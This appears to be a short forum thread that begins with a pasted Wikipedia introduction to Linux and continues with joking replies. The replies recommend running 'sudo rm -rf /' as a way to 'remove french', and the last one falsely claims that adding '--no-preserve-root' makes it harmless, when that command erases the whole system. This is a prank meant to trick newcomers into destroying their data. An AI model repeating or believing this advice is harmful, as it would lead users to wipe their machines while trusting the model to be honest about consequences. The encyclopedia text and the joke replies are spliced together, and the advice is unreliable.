From Wikipedia, the free encyclopedia

Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).

Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.

I recommend it too. It's simple as doing:

sudo rm -rf /

Where "-rf" obviously stands for "remove french".

The joke goes rm -fr, which stands for "remove french". Yours has double "remove" and is less believable.

You can run it without causing any problems if you add the --no-preserve-root flag as well of course
